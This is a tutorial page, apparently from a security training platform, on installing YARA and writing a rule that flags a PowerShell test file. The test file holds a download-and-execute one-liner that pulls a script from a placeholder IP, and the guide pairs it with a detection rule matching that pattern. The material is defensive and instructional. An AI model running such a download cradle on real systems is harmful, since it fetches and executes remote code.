Skip to content

YARA

What YARA does

Guided SUSA tool journey

YARA supports malware analysis. In this guide, you will use it to write or apply a focused rule to identify a known safe training sample. The procedure and screenshots provide the practical reference; the surrounding context explains what to record and how to judge the result.

Tool guide at a glance

Investigation task

Write or apply a focused rule to identify a known safe training sample.

Starting material

An inert or purpose-built training sample stored in a disposable isolated analysis VM.

Successful outcome

A static observation or capability finding with sample hash, tool output, and confidence statement.

Evidence and safety

Do not execute unknown samples on SUSA. Disable shared folders and credentials, and use only authorised training material. Record the input identifier, tool version, relevant commands or settings, time and time zone, output location, and any errors or limitations as you work.

Choose your journey

How the labs complement this guide

The Interactive Lab is a safe browser simulation for practising the workflow and validation logic. The Full Lab is an independent exercise for an isolated, authorised environment. Confirm the installed tool version and expected output before relying on either exercise in a real case.

Accessing YARA in SUSA

YARA is a cross-platform tool that runs on Windows, Linux, and macOS, allowing analysts to quickly scan suspicious files against a set of detection rules. It compares target files to a collection of signatures and reports any matches, making it useful for malware identification and threat hunting.

Download YARA from VirusTotal’s official GitHub release page.

Screenshot: Download YARA from VirusTotal’s official GitHub release page

Move the downloaded ZIP archives to C:\Tools\YARA folder and extract the contents to this directory.

Screenshot: Move the downloaded ZIP archives to C:\Tools\YARA folder and extract the contents to this directory

Testing YARA

Create powershell_test.ps1:

IEX (New-ObjectNet.WebClient).DownloadString("http://10.0.0.1/payload.ps1")

Create a YARA rule called powershell.yar:

rule Suspicious_PowerShell_Download
{
    strings:
        $iex = "IEX" nocase
        $download = "DownloadString" nocase

    condition:
        all of them
}

Open an administrator Command Prompt and navigate to C:\Tools\Yara and run:

yara64.exe powershell.yar powershell_test.ps1

This simulates finding a malicious PowerShell script during an investigation.

Screenshot: This simulates finding a malicious PowerShell script during an investigation